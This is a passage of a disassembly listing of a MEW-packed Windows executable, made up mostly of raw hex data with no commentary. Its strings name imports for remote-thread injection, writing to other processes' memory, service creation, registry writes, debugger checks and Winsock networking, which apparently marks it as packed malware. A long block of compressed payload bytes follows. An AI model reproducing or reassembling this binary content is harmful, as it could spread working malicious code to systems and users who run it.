73736563h, 72438000h dd 65746165h, 6F6D6552h, 68546574h, 64616572h, 72578000h dd 50657469h, 65636F72h, 654D7373h, 79726F6Dh, 69568000h dd 61757472h, 6C6C416Ch, 7845636Fh, 75448000h, 63696C70h dd 48657461h, 6C646E61h, 44800065h, 74656C65h, 6C694665h dd 80004165h, 736F6C43h, 6E614865h, 656C64h, 69615780h dd 726F4674h, 676E6953h, 624F656Ch, 7463656Ah, 65478000h dd 6F725074h, 64644163h, 73736572h, 6F4C8000h, 694C6461h dd 72617262h, 80004179h, 43746547h, 65727275h, 6854746Eh dd 64616572h, 80006449h, 57746547h, 6F646E69h, 69447377h dd 74636572h, 4179726Fh, 736C8000h, 656C7274h, 8000416Eh dd 4C746547h, 6369676Fh, 72446C61h, 53657669h, 6E697274h dd 417367h, 6E694680h, 6F6C4364h, 80006573h, 646E6946h dd 7478654Eh, 656C6946h, 46800041h, 46646E69h, 74737269h dd 656C6946h, 45800041h, 6E617078h, 766E4564h, 6E6F7269h dd 746E656Dh, 69727453h, 4173676Eh, 6C478000h, 6C61626Fh dd 65657246h, 6C478000h, 6C61626Fh, 6F6C6C41h, 47800063h dd 65547465h, 6946706Dh, 614E656Ch, 41656Dh, 65724380h dd 46657461h, 41656C69h, 6C5F8000h, 61657263h, 5F800074h dd 6F6C636Ch, 80006573h, 54746547h, 436B6369h, 746E756Fh dd 72438000h, 65746165h, 636F7250h, 41737365h, 736C8000h dd 6D637274h, 80004170h, 65447349h, 67677562h, 72507265h dd 6E657365h, 43800074h, 74616572h, 72685465h, 646165h dd 74654780h, 75646F4Dh, 6946656Ch, 614E656Ch, 41656Dh dd 74736C80h, 79706372h, 8000416Eh, 53746547h, 65747379h dd 7269446Dh, 6F746365h, 417972h, 74655380h, 656C6946h dd 72747441h, 74756269h, 417365h, 706F4380h, 6C694679h dd 80004165h, 61657243h, 754D6574h, 41786574h, 65478000h dd 73614C74h, 72724574h, 8000726Fh, 74697845h, 636F7250h dd 737365h, 74654780h, 76697244h, 70795465h, 80004165h dd 65656C53h, 0FFFF0070h, 10ECFFFFh, 53550040h, 32335245h dd 6C6C642Eh, 69468000h, 6957646Eh, 776F646Eh, 43800041h dd 55726168h, 72657070h, 46800041h, 57646E69h, 6F646E69h dd 41784577h, 65478000h, 6E695774h, 54776F64h, 61657268h dd 6F725064h, 73736563h, 80006449h, 646E6553h, 7373654Dh dd 41656761h, 65478000h, 6E654D74h, 77800075h, 69727073h dd 4166746Eh, 0FFFFFF00h, 40110CFFh, 32535700h, 2E32335Fh dd 6C6C64h, 8000000h, 13000000h, 0E000000h, 41535780h dd 74636F49h, 6Ch, 0A00h, 57803300h, 6F534153h, 74656B63h dd 41h, 1400h, 300h, 1200h, 500h, 1100h, 0F00h, 200h, 7200h dd 100h, 0C00h, 0 dd 900h, 700h, 9600h, 1600h, 0FFFF0B00h, 1000FFFFh, 44410040h dd 49504156h, 642E3233h, 80006C6Ch aStartservicect db 'StartServiceCtrlDispatcherA',0 aAopenservicea db '€OpenServiceA',0 aAopenscmanager db '€OpenSCManagerA',0 aAcloseserviceh db '€CloseServiceHandle',0 aAdeleteservice db '€DeleteService',0 aAsetservicesta db '€SetServiceStatus',0 aAregisterservi db '€RegisterServiceCtrlHandlerA',0 aAchangeservice db '€ChangeServiceConfigA',0 aAcontrolservic db '€ControlService',0 aAregclosekey db '€RegCloseKey',0 aAchangeservi_0 db '€ChangeServiceConfig2A',0 aAregsetvalueex db '€RegSetValueExA',0 aAregcreatekeya db '€RegCreateKeyA',0 aAsetsecurityin db '€SetSecurityInfo',0 aAstartservicea db '€StartServiceA',0 aAcreateservice db '€CreateServiceA',0 db 3 dup(0FFh) dd 4010E4FFh, 57534D00h, 4B434F53h, 6C6C642Eh, 72548000h dd 6D736E61h, 69467469h, 8000656Ch, 0 MEW ends ; Section 2. (virtual address 00007000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00007000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write __u_____ segment para public 'BSS' use32 assume cs:__u_____ ;org 407000h assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing dword_407000 dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 7C801D77h, 7C80ADA0h ; DATA XREF: __u_____:00407018o dd 0 dd offset dword_407000 dd 400130h, 401690h, 401180h, 0F501A5B0h, 9D5B0856h, 0AB24FD8h dd 1F08054Eh, 23609A0Ah, 7180C3Ah, 9A6B0DAh, 0D7E5834h dd 4B1380Ah, 80BA0E56h, 0B9034011h, 2870510h, 1F0E0FE8h dd 1F16B7CCh, 684540A5h, 14259C30h, 7B03280h, 0C2FAE242h dd 95E00E08h, 8882819Eh, 0EECC331h, 80DA8486h, 0D9DED24Ch dd 74D8F8C5h, 0CFD5FADFh, 0D32FC40Ah, 0E1B0DD27h, 8323F691h dd 0D7C0C930h, 0D123FFC7h, 0DF023ADCh, 0D018DEAAh, 933E1802h dd 37381BDh, 84C4C2D5h, 0DCDC0DDh, 9EFB9C40h, 9AC09D26h dd 0DDD4D191h, 0ABF0F4D9h, 0C7311E06h, 0D5C28ED7h, 9E8F0895h dd 14B4C86Fh, 441FE7A3h, 0C347DFD4h, 0DDFF790h, 0C3D716C5h dd 39C6F3F1h, 0D7B3C4C8h, 3E1EE214h, 0C29FC3D9h, 0DF3EF6BEh dd 0CEE3B3DEh, 0ACD3F3C6h, 1BF52C98h, 7AC5C3DEh, 0D8C4681Bh dd 8FC9AA3Ah, 94A89EB0h, 0E5FFC078h, 0BEFDF5D6h, 0C36DFB48h dd 58192E12h, 0D7A986BDh, 0D4B0B35Bh, 55ADC2FAh, 9EDBFB9Ah dd 6CDCA878h, 6FD73273h, 2CF88272h, 0DC51D2D1h, 67AAB70Dh dd 0AF4F6FDAh, 6DF494C7h, 6CDFDE69h, 0C92E3AA4h, 15DD79CDh dd 365C0EB6h, 9EC9F4F1h, 0FE7B90A4h, 90FBF312h, 1F824608h dd 0AAE5D4BAh, 0DC29E23Eh, 39673F02h, 0E6D9E0E0h, 0F763E3FDh dd 3086813Fh, 840E8AB0h, 4FDC8088h, 0D9FFFA42h, 2D159AFEh dd 3C115906h, 0E4D5FFF8h, 0E3801258h, 0AB83A3DFh, 81087582h dd 990AB284h, 101413F9h, 3151FEDFh, 0BDC34085h, 42F96453h dd 0EB248820h, 0EDD38C5Ah, 0CA598CAh, 0D8949990h, 206CA77Ah dd 0C13F842Ch, 0D9E5E17Ch, 10A9DAE4h, 808E0A0Eh, 3C1CC88Ah dd 9D9CD8A4h, 7AD31CD4h, 902CA4FAh, 0D2ECFD24h, 0CD762C5h dd 5F41C0D3h, 319EC9DDh, 28AAF208h, 57C79869h, 20F3C0ECh dd 0BCE5D30Ch, 80DDA45Ch, 33C7D253h, 223E7DD7h, 32EC243Ah dd 0E75822B6h, 0F92883B7h, 0A45FC90Eh, 1FD6BB70h, 9DE94C43h dd 26F4DD1Ah, 8C024A66h, 0F6C5AC19h, 0BEC648DFh, 0B244F771h dd 98DE1878h, 69D6F2D5h, 612F61C9h, 2138C62Dh, 0B2A1DE8h dd 0D02D4614h, 8F39B498h, 0C5A6EFD7h, 43FCA26Ch, 4B4C4976h dd 52FF796Fh, 0C73431DFh, 0B3025DBh, 9A474810h, 6F374C43h dd 65FA6DECh, 866AC43h, 0D238DC94h, 1F677494h, 1CFEB4ECh dd 282FE9D3h, 0FF74DF02h, 4DB5D07Bh, 0AA5C8B6Dh, 6EC53E48h dd 9C94DDC9h, 0B0949E1Dh, 28A3B918h, 0B1B5268h, 0B07ACE64h dd 0CD947C55h, 0E043C94Ch, 551169B7h, 0C82841DEh, 36EEEFC0h dd 65B266E5h, 0A206F402h, 36D4DCF6h, 48F8E2D8h, 31F3AA89h dd 1986F223h, 60F530D4h, 22EF9E49h, 0D6EB12C8h, 9298AD54h dd 85827221h, 0D936D31h, 0B0690A84h, 37D0EE0Dh, 5BFF69ECh dd 18064309h, 92BC9A3Eh, 0C0E18FD5h, 0D0E35B21h, 0D0E19F90h dd 0DE13CD91h, 92AE368Ah, 0BE69F0A2h, 0BEC5F5EBh, 0ED075140h dd 0DBF094C0h, 150D42D6h, 1A07F2FDh, 0CC1E9FFBh, 3FF0391Dh dd 0C138EB2Ah, 9DC5D87Ch, 940B5D8Eh, 9D6C924Eh, 0F9907CECh dd 0F99A931Ch, 0E0655F6Fh, 8FB083F5h, 0FA41873h, 0E3F1FCE7h dd 0CB0D47E3h, 3846901Bh, 8A0C660Ch, 8AD45114h, 8E50AB06h dd 0CFC54C10h, 480C1F68h, 430CA1B0h, 2DEDD1D3h, 1A835628h dd 101A0282h, 4DC23F6Ah, 0D56E1032h, 33721FDAh, 9ED6D734h dd 0CAF69A16h, 5918932Bh, 0F26221EBh, 0E399A4C4h, 1018E839h dd 8DF064D2h, 34991524h, 560A56A5h, 0DFE00A7Bh, 85E0680Ah dd 82F4FCE2h, 0D650DE58h, 24E4D43Ch, 0F19AB4F6h, 0FC3C4328h dd 4CDE4EC2h, 0F9FE2ECCh, 528C2CD8h, 44CC0C9Ah, 0CEF39271h dd 39370AAFh, 0FF3842BBh, 0EF0994EFh, 0C20527FFh, 3FC7E464h dd 0CA93CA1Fh, 8055871Ch, 8EE3C914h, 460B53B5h, 196132FEh dd 0A334F914h, 75C44DF2h, 32C2F126h, 10C2F35Ch, 0F2EE7AC4h dd 0E74C09A4h, 98174352h, 0DCFDF948h, 0BF9DEE62h, 6F98D7A6h dd 4E9097F2h, 0C013906Ah, 5F4F7431h, 5BF4CCE5h, 0DB1BB272h dd 0E8124958h, 7E6E5E3h, 94DC3BE7h, 8CF543A8h, 0C8B5E4B8h dd 0B165B33Eh, 90EA18FAh, 3D536DE0h, 84BEF982h, 83450EF8h dd 70604C4Fh, 0C4748A1Ch, 7F71B70Fh, 5B48E0BDh, 0DCC8B42h dd 51C5A494h, 0D607DA48h, 20FBBC63h, 0B4FCAC12h, 0A87554CDh dd 0EEEF5280h, 0F439EBEDh, 5D1E946Eh, 0BEB80F33h, 74333B17h dd 0DAEE7381h, 0F5D4E980h, 0BCEBFCA9h, 0FAC06CFh, 0B8CB41ABh dd 10B95C33h, 0D8E060E2h, 397441C4h, 80E7A43Ch, 583AF95Ah dd 74DA664Fh, 0EEC57DB6h, 0F5391860h, 3A6B24B4h, 0C8599320h dd 3E02BC16h, 5CBEFEh, 9D67983h, 0E17E7D90h, 858EEFA2h dd 0A4F51DB7h, 3B543043h, 6F6E368h, 57A8A914h, 16A03729h dd 9476C983h, 0DE00A822h, 0A3F99FBBh, 0A2B19351h, 0B85286B2h dd 802CCDFh, 0B41D9718h, 877D4430h, 0A0DA743Bh, 0C1B8DAFCh dd 0C0AA1452h, 63460677h, 9E1D17E8h, 3132E76Dh, 206120B4h dd 36F95521h, 7D3B08E5h, 0E18FCFFDh, 81A8E564h, 14E4C47h dd 92476C3Bh, 6AFE01E7h, 0E5002FE3h, 0CE7035A0h, 19E064BAh dd 5BBC02B4h, 0A814A555h, 0FCEBBB01h, 7BB46DAAh, 0DE51512Ch dd 4E282660h, 6089BE3Ah, 7E5F1482h, 0B010D050h, 1A209E27h dd 0A0940832h, 0A2B71CA2h, 0D43207FBh, 0EE80F0B3h, 0C0A10372h dd 0C8B81DACh, 9C93EEB8h, 0ECB0107Fh, 423F87B0h, 1D422D9Bh dd 9A98521Dh, 90919581h, 8B4EADB0h, 350162A4h, 0F2FD7B40h dd 20AC251h, 92DB78B1h, 0A74E4F62h, 0B2F0D207h, 290F3E0h dd 0E7E4F5FEh, 0EE3E2FFh, 0F7CE4EDFh, 81FDF1E7h, 9E809E81h dd 0FE5EFC30h, 0B5306B4h, 0B4D66FDCh, 8633E4Ch, 0E3BFD7DBh dd 1E2EC0C5h, 0D1192083h, 4887FD51h, 1E80E882h, 769F3395h dd 0E4F2162Eh, 6D32906Eh, 96FA1680h, 90145275h, 0B790C321h dd 0BCFEA0BCh, 8A48BFEFh, 15BAA1B4h, 6489065h, 0D9300F64h dd 0A038A2FBh, 10E0AFE3h, 2F322703h, 641550B8h, 4AF5E71Fh dd 0FBD46383h, 0FBC7FBDFh, 0F27765C3h, 0A025080h, 0FC899140h dd 0EC24AD85h, 10D19E3Ch, 0BD6AE253h, 90B888B0h, 0E73C6A44h dd 0B22F9085h, 5B126B3h, 2924F653h, 0F09008F7h, 28FFB6F3h dd 55FEA067h, 3AA50320h, 0FBF85038h, 0F4F2FFh, 0CADAA931h dd 0F9544200h, 801F98ACh, 0A0C40A95h, 5FE6E3D7h, 0E0228A65h dd 90B118C5h, 0BA08088Fh, 88F68009h, 0BEA00D67h, 0C9ECBF40h dd 2C87F902h, 1F8FF594h, 0EC94E101h, 0D0122140h, 0B4416CB8h dd 38A8D303h, 12EF6E80h, 6117A6EAh, 4FB2B12Fh, 0B2B32F27h dd 3FD12D4h, 26B9B31Ah, 1285F2A8h, 388FC4E7h, 68A12C27h dd 0A4882395h, 2FE06849h, 0FF8EA37h, 8D1CD33Eh, 33D329E4h dd 0E9C196AFh, 0E6EC463Fh, 7F09F950h, 1F53F5F5h, 0B3BBF1B5h dd 737271B4h, 4EE0884h, 6E874BEh, 82FF7800h, 7FA6C0FBh dd 0C8A20063h, 0DE0FF7EAh, 0ACA43851h, 80EDB43Bh, 79AC5B3Ah dd 0A0582FA1h, 2BA09BD4h, 0E5CED0F8h, 4AA839D6h, 0B3208410h dd 0C38CAD06h, 0B412AC61h, 1C4E4F50h, 4A29FA37h, 0A293E7A8h dd 6641E0ECh, 1FFDD7F5h, 5EB4A19Eh, 0A7B42522h, 91D0AF08h dd 0A43458F2h, 33AA87A2h, 69CDD302h, 67029A08h, 58263C3Dh dd 0B4AC327Bh, 0E1B07A56h, 7901B178h, 0B43011CCh, 14289A0Bh dd 8F377AB0h, 0C7B43088h, 3C088D8h, 851331C2h, 0B4B2A542h dd 0D1A9B208h, 8900D09h, 350B5B32h, 0EB2F7396h, 59E396D5h dd 62749182h dd 0C0C808DBh, 5C3BE500h, 0E6A0E433h, 1F407FD5h, 1344F577h dd 16471998h, 4C099F48h, 852158CDh, 84402884h, 88191FA7h dd 0E0003D19h, 698A54Fh, 70351EC0h, 6E58B5C5h, 0A6AAABC7h dd 6B41105h, 73797083h, 62E16197h, 4A6204Ch, 0FE310D4Fh dd 0D833B0EAh, 64DA8390h, 317C7805h, 1491BDC4h, 78D1860h dd 0A1B8C571h, 58106419h, 0C9C4BE05h, 0C2A0C035h, 0B1D836E0h dd 0F4222E73h, 0F72264A1h, 98DFC9D8h, 5B4F6C20h, 0A269A45Eh dd 305C061Eh, 7030C845h, 0CE98B4BDh, 8A51027h, 8C1A8111h dd 0A330DB4h, 90DAA074h, 0DA166D10h, 0B75BDD98h, 0EDA93B51h dd 0BE08BE39h, 94B5B9CDh, 0C53ADA95h, 250AA450h, 0B2C1A778h dd 0F090BD5Bh, 587EB0A4h, 346791BBh, 0B8FB0430h, 0C8E211A1h dd 0A2DA8A98h, 59B8C4DFh, 0BAFF58A6h, 3D3444D8h, 8055C54Fh dd 73501313h, 3200B8CCh, 0DA812535h, 722C02BAh, 0A0F2B213h dd 0A259CAA4h, 8C687A7Ah, 0F4533D71h, 68530D65h, 6CB71343h dd 445C0922h, 9B924440h, 3D174850h, 63C73CD1h, 64E05C0Ch dd 8506C94h, 81B8A098h, 93A8C053h, 64684251h, 0D500C2Eh dd 7545E99h, 0B4B11038h, 0D08BF34h, 385FAB88h, 486DD8A6h dd 544CD1D8h, 0DA9E7712h, 0B94851DBh, 28EEC118h, 0C8BC9009h dd 5058C24Ch, 0AEB4F4EAh, 51245FAAh, 83456508h, 14193076h dd 0BA98F42Ah, 0A01C63A6h, 0A1B57780h, 84F6F40Bh, 31489C0Ah dd 9533D683h, 4D164380h, 0D5133F57h, 4572898h, 1A46ED89h dd 0BB26E116h, 1FB55548h, 58C1E465h, 7226ED51h, 2C9EFB4h dd 45987C0Eh, 0A8A50969h, 54796614h, 0CF0E488Bh, 259469D4h dd 0A4C81694h, 4D9C5887h, 7279A2CFh, 484188B8h, 0F408FD6Ah dd 875809B5h, 8D630DAFh, 482AA220h, 0C528A378h, 0C81B6A8h dd 11D61050h, 1306A044h, 5B21CF24h, 2433305Ah, 626C3021h dd 168C854Fh, 0A14090C8h, 54352439h, 0D338A9Fh, 0B5923006h dd 0B1BAA659h, 0A23CF980h, 6411189h, 0B953813h, 5B4F253Bh dd 651016A4h, 0D61D4A78h, 0F74D977h, 0A6B3B6B2h, 762CC8B3h dd 0A558B0A7h, 13B5C3D0h, 89ADA46Ch, 163122CCh, 0C927B4DAh dd 62D8B863h, 0A46CFFCBh, 82149811h, 48A53DB8h, 9C1562E0h dd 698A16Ch, 0D7A8BC3Fh, 1A80222Ah, 91BA5658h, 0A4284682h dd 17521825h, 0DD0B5F10h, 345BEC7Eh, 0C17EB1A2h, 267813BCh dd 108534F8h, 4D2D1B64h, 99A03264h, 0E0ABBBC8h, 4A84E480h dd 1361E23Bh, 0B866A464h, 58152474h, 700E4C1Dh, 0A1314A45h dd 98093EA0h, 11078AC9h, 82F28B0Dh, 93A9C323h, 0FB34B30Eh dd 8B1F145Ch, 0C51753B5h, 7C5182B2h, 0C524279Ch, 8206F99h dd 90C3F014h, 29BDCA30h, 363C390Ah, 0A224D5BEh, 0E2B007BCh dd 1138C506h, 983BA7B8h, 8353D046h, 3D156C21h, 89E0260Dh dd 6927754Fh, 0F948A817h, 879F8949h, 4448F7F3h, 9B56E408h dd 0F248E1AAh, 0B52B343Dh, 8C44E550h, 1C475653h, 0CFA4FE22h dd 61A71BF3h, 22B34B34h, 2E0920DDh, 0CA07B9A0h, 68E764F4h dd 0EBF0906h, 21D2E991h, 4105ED9Eh, 0E542580Fh, 449190B0h dd 6FC4F073h, 762D74AEh, 0AC1A0C1Eh, 0F04454A8h, 5B3F48E3h dd 8A869C53h, 6BA1129Bh, 30E0F00Ah, 0A64F6B48h, 39A3C258h dd 2124B65Bh, 0A0CD977h, 0DEF8C79h, 1AFD36F6h, 427C0C88h dd 6A59AC0Ch, 53311326h, 7D6157A4h, 9806B2B4h, 484ACA90h dd 0A8ACF144h, 0BB78BC10h, 0CCF82EEEh, 4D414C86h, 88059252h dd 1EC91E08h, 13795C7Dh, 24194A2h, 405325B8h, 9EC58AB5h dd 1B9417D2h, 0CA90E185h, 91BC2A58h, 93A46958h, 9B5D5520h dd 244B7A0Dh, 4D20BA5Bh, 3119A065h, 0D94358EAh, 1A7ED153h dd 63EF59B7h, 172030ADh, 5CBD6833h, 0FFA83694h, 1C828154h dd 89CD4C38h, 0C02A961Ah, 59C6373Fh, 0D871B5B5h, 71244BADh dd 512A261Ah, 96CD9422h, 0C1A9C415h, 93A0D813h, 2FB665C0h dd 91829190h, 0AB2205C5h, 0E2158FEh, 735C10BBh, 9EEB58CAh dd 57F7C53Ch, 0B729080Fh, 663EB612h, 18A48CFAh, 6ABD06C4h dd 718B6D90h, 9ABE51C5h, 28812004h, 0AD12B231h, 186B1FB9h dd 847DB8BCh, 59D2441Fh, 0D80BE962h, 17F7BED4h, 378D33EBh dd 58FD90DCh, 50B9B626h, 5C590977h, 22D06B69h, 963EA219h dd 0BA7821F6h, 4EAC13Bh, 0FA621EB9h, 29DB905Bh, 3E21B105h dd 0C817437Dh, 4E0FEDE5h, 0D5124217h, 2258F211h, 0E433B1C0h dd 0E11F402Eh, 0A4F85988h, 0A2EC42A4h, 10152A28h, 3B1A9938h dd 22D5DA13h, 5419A7B1h, 0DE103807h, 27ED8B79h, 4D58F1AAh dd 5F3809B9h, 34B6C486h, 6CF562F3h, 40ACA22Eh, 684A13A1h dd 68D344Ah, 4A9D2833h, 0F565612Fh, 0C05EB96Ch, 0B6CC83A9h dd 772A4446h, 2278B551h, 42D3481Ch, 2258860Ch, 2A5931F9h dd 4AE8D815h, 6A3488AEh, 66CBC6C3h, 0B6581DF3h, 0D8F887F8h dd 82A67B4Ch, 8457C966h, 0FCA0883Bh, 8F73794Eh, 6413C490h dd 50F8C1C7h, 404A394Bh, 0BF2DD106h, 0D79283Fh, 0B2D534C1h dd 0CFF90A0Ah, 2C6C09F6h, 0F3998521h, 200BCA1Ah, 0B30F21F4h dd 0D708F544h, 6503F659h, 67594F15h, 15FCC812h, 0E1C83917h dd 0CD766F15h, 0D1C35E2h, 427581E3h, 14162E39h, 9E3CFDCh dd 72D536DBh, 6602D342h, 0D54014B1h, 401AAEBBh, 0DAEE0D6h dd 0AE94D840h, 1AD9664Ah, 592B698Eh, 0DE9012F2h, 902CD12Bh dd 64A121C1h, 1AAE0AC3h, 1B0AC5E4h, 4AB91139h, 0D8B5CC02h dd 0CBF3730Ch, 58187E9Eh, 5964456Bh, 6EB2496Eh, 82B1F0C5h dd 0F619017h, 94211670h, 0A5449867h, 486D1533h, 4CDDBE0Dh dd 0BE548014h, 10A3353Bh, 0FA083D45h, 0C8B324A7h, 56CA4649h dd 33C013D7h, 5071D158h, 3D3BB414h, 3438073Fh, 358AB0BDh dd 46EF6CF3h, 23A4700Eh, 243C12CAh, 4C78B38Dh, 0B5F43317h dd 0EA0D1A64h, 0C8590723h, 761261DDh, 901F5434h, 353DBCD1h dd 98600AA2h, 45CA4D09h, 0C5D8D5B9h, 17D1A687h, 6A04D8E0h dd 0A1718884h, 60BB6448h, 92928258h, 1C155364h, 12AB69A1h dd 3C462F39h, 0CF5315ACh, 84CFA226h, 0AD78D31Ch, 0BF53C6AAh dd 4743581Fh, 4370AB68h, 0DA112E50h, 0A08521A9h, 0A6CC20B2h dd 0B6725819h, 211A9325h, 7AA11145h, 15A59432h, 8F411B7h dd 664FFD4Dh, 5720BE23h, 6FBF5022h, 52463F6Eh, 644515A0h dd 852E0F3Fh, 0D4003212h, 54CAE029h, 5377BE4Bh, 58683421h dd 0E6B110D8h, 580E215Ah, 87244893h, 37BAD32h, 0A540D88Fh dd 0A65E5D72h, 9845F237h, 8E4603F3h, 1870444Fh, 0A10634A0h dd 1AAF24D8h, 88476F58h, 38E2C6C3h, 5D630C84h, 0A9812357h dd 4F22805Bh, 90BC01F1h, 0D8BCA733h, 0EF6DBA41h, 1414BE99h dd 0A7BCB204h, 64B7744Ah, 9EED3CA4h, 0D2AB6B8Ch, 0AA6493E0h dd 35C92ADDh, 0F968E208h, 0A51512B4h, 3576E471h, 0B20F6C64h dd 5EBF6D08h, 116EAF0Dh, 3EE4B8BCh, 42112650h, 43485A52h dd 0B405CC6Ch, 0A56A02B5h, 0E7A8CF4h, 0F53D8884h, 0C844450h dd 0A424AA45h, 0D7689A30h, 48F3D229h, 28DCE7F0h, 9E98AA12h dd 9258A9Ch, 38346294h, 0CCB4643Eh, 719C3708h, 1B238DC4h dd 536AEC45h, 68719021h, 52A0210Bh, 5AFF1B14h, 0A96C8553h dd 7411A66Fh, 0B5C2ADA9h, 0B828111Bh, 89238D30h, 432EF4C4h dd 38848AC1h, 0A84823D4h, 16929556h, 243237F3h, 630D28C0h dd 9A4250D8h, 73759619h, 0C912E811h, 1017B12Ch, 74162C14h dd 5C92FA8Bh, 1E09D3B4h dd 71A860D8h, 3E51E9B1h, 130C6432h, 551767Bh, 9036940Fh dd 8A02463Ah, 56BAB84Fh, 8CAC2220h, 0E3B4950Ch, 334789B6h dd 0AA66732Fh, 114818E2h, 0E11311D0h, 0ECF4AAB2h, 8ED0AA1h dd 0D44284E8h, 0DD116421h, 0F4F2D24Dh, 9A68D830h, 49D19921h dd 2913DD08h, 20412C5Ch, 0E3EAD22Eh, 0B6E4226Dh, 0FC13057Eh dd 0E80822A6h, 9835AD28h, 88528B97h, 30D42FB1h, 76E012DDh dd 84482605h, 0B7A62BD7h, 0FC941B21h, 97E2D2F2h, 334C92D8h dd 0E0847015h, 18BCA41Fh, 531680DAh, 7333F869h, 0DBC6A55Dh dd 0CF4F349Dh, 0BC458B0Fh, 0B346C8C3h, 8FC116D3h, 4677565Bh dd 0BDF22842h, 3CFD3A30h, 5B1938A0h, 0FBC5454h, 0A2C3A0C2h dd 0BCFDF133h, 64609EDBh, 756F5FB9h, 422CFACDh, 360AAE29h dd 8B2D4806h, 48A7AC71h, 8D8ED7BDh, 681682CDh, 0B2ED7083h dd 2BAFAD8Ah, 0C9C5B17h, 469D8344h, 0D7B5C540h, 79D85B29h dd 0E34558C8h, 0CDF60A26h, 3BB4B951h, 256D180Dh, 3A72EC54h dd 0C99E11B7h, 91114990h, 7C7C4852h, 39F236E5h, 17FB0E08h dd 65788B43h, 277D046Fh, 142CA573h, 49A4178Dh, 9A448EEh dd 0DE52A5ABh, 0BCBCB04Ch, 58D7AA47h, 0D469B839h, 231497A0h dd 0E9B3C43Fh, 8D75309Ah, 1ED29230h, 5487C5B1h, 3F490995h dd 440DD29Fh, 0EC8A15CFh, 1837F419h, 0B7B95428h, 45B5770Ah dd 0F256AB4h, 0E62590F8h, 40E3EE1Bh, 78DC1022h, 0C5391783h dd 57459D54h, 5071C1D6h, 13002AA0h, 6BFA95Bh, 3115A3B5h dd 0BD14A81Eh, 3F510869h, 884ABBA0h, 58F6B840h, 3BFBC5F6h dd 63AC491Ah, 0CC0E412Fh, 0BE0769DAh, 0CEB81057h, 95BBD3D2h dd 0ACC40F4Bh, 9FCAD811h, 2AD7C50Ch, 4C936A5Ch, 0A4541D3Fh dd 484C20E3h, 0B4271740h, 38DFBE6Eh, 0C34B39A4h, 0A8C2ACB0h dd 29B74690h, 18BAB540h, 0A8C31689h, 1BBC1BB1h, 21C59958h dd 5B42B268h, 89CD9762h, 7C05205Bh, 8C33E2EEh, 12775B74h dd 0DC4DF435h, 16F5D0AFh, 63C04B0Eh, 1F6FF8A8h, 0B6533244h dd 0D9FA55A0h, 48E8361Bh, 14FBEC22h, 90F04AFDh, 8F693DBFh dd 0E87AD191h, 0B2A24CEh, 794B3D34h, 16756ADh, 0B4D6CEDBh dd 9467BD30h, 4D163504h, 0A04D6DCFh, 595C12D2h, 8286F9BEh dd 8B0D1107h, 0C39590F2h, 0D20EA4ADh, 0D45CE0A1h, 571218A2h dd 78455D5Ch, 14C52B38h, 80D339Dh, 94C3F00Ah, 533C5134h dd 59BD392Dh, 49D02E3Bh, 0B8070466h, 80302861h, 639E8C42h dd 867DC33Bh, 3F4EC023h, 4EC4C442h, 902B422Bh, 473C9E80h dd 0C4508C21h, 0C076844Eh, 30F6EF86h, 0B293A0DAh, 2335591Ch dd 5973562Bh, 497FD9Eh, 19A1E8E3h, 0ABA7FC6Eh, 9F99AE62h dd 884C26E0h, 755B8B9Ch, 48CCB659h, 0DA5B84E8h, 0EA0599Dh dd 0A41C9DF3h, 71DC96CAh, 55EA535Eh, 0D2A0F088h, 0C4F92983h dd 7583A384h, 0AEDD5841h, 0C516456Eh, 2C623495h, 628CE31Ah dd 3C3327BBh, 295B991Bh, 88886D4Ah, 0B0CA3BCh, 0D94C99C4h dd 3224EF87h, 0D1ECAA1Dh, 0DE37B8D9h, 51430B2Eh, 3A619EE6h dd 30643899h, 0BE333972h, 0A8B29A0Dh, 0FAC18F27h, 0BC35D95Bh dd 166C9465h, 47A5989h, 0E0C1C6B4h, 0DFA57258h, 836313E4h dd 92C75B34h, 0C92992AFh, 15B6A1F0h, 0B8145040h, 8EB22F58h dd 44B44DECh, 1F58E6D9h, 1DB667C5h, 48252AF8h, 46C8444Ah dd 0B019855Bh, 9196960Bh, 0A1EB7D40h, 8B470F61h, 96A3C5F2h dd 25F74231h, 578972B4h, 8A4CC4EEh, 0EC219577h, 44E4815h dd 804596A3h, 0DC4C5242h, 627C5ABCh, 0D8204864h, 11938FC9h dd 0A392B348h, 123AA011h, 1E2CBAC5h, 62E4B15Dh, 0D802B3A8h dd 5853B0B8h, 25AA8B4Ch, 8C558857h, 0FC367797h, 594D42AFh dd 47C8893Ah, 31B90D85h, 0C616020Ch, 0D8520344h, 0DF1B5F28h dd 0D2ACF30Dh, 60088C05h, 3D3B88C4h, 0F4A90CA3h, 1E92C6B1h dd 2AEDAAF8h, 0B19FD972h, 3E166829h, 0AE044045h, 0C5B30603h dd 5CA429A2h, 922218Fh, 7D7AB858h, 1B16184Bh, 0B4D360B3h dd 0AB4F8CE0h, 0C197DB8Ah, 144A70B7h, 0A2341772h, 124A0C5Eh dd 0B570060Ch, 0A37F5934h, 33C0D7FCh, 0EEC4A050h, 4888D82Ah dd 924A5C21h, 0A63B601Ch, 16A584D8h, 0DFD5A549h, 80481364h dd 41975C94h, 134CBC1Dh, 0DD8AE558h, 0E0308F5Bh, 4DD758BCh dd 9B145B9Bh, 31BCB244h, 9C4A1A4Ch, 5B419F7Bh, 0B44D01Dh dd 30A5BD31h, 8D65633Ah, 22141B46h, 0DB3091CCh, 19107FD4h dd 0C411FAF1h, 98957BB2h, 49703363h, 482963B4h, 35164957h dd 188ADA29h, 4710FFA4h, 425C7A50h, 0B006404Dh, 590A53B1h dd 16224108h, 29097656h, 0D61726F0h, 9EBD0332h, 980D8414h dd 779D8431h, 7F074C96h, 0BA0DDB3Ch, 1C0E39D6h, 58333318h dd 6702E80h, 0B34CFD06h, 0CCF3278h, 0B297945Bh, 6BC9E6ACh dd 97465124h, 35441FD8h, 776AA122h, 0C22C20DDh, 24219990h dd 0DDD9EF96h, 948AA129h, 983C923Ah, 0A384204Eh, 45F8FF6Ch dd 91FCBCF8h, 68FC880Eh, 52E05110h, 80A84439h, 45F0C412h dd 5F2E9D5Bh, 0B64E4411h, 8CA9BB6Ah, 102AF4DAh, 5582784h dd 55775041h, 9EF7E80Ch, 31157C98h, 195482B1h, 55E2601Eh dd 9692453Bh, 6B2A376Ch, 57688519h, 5064680Ch, 3DCBB254h dd 0C4F05F1Ah, 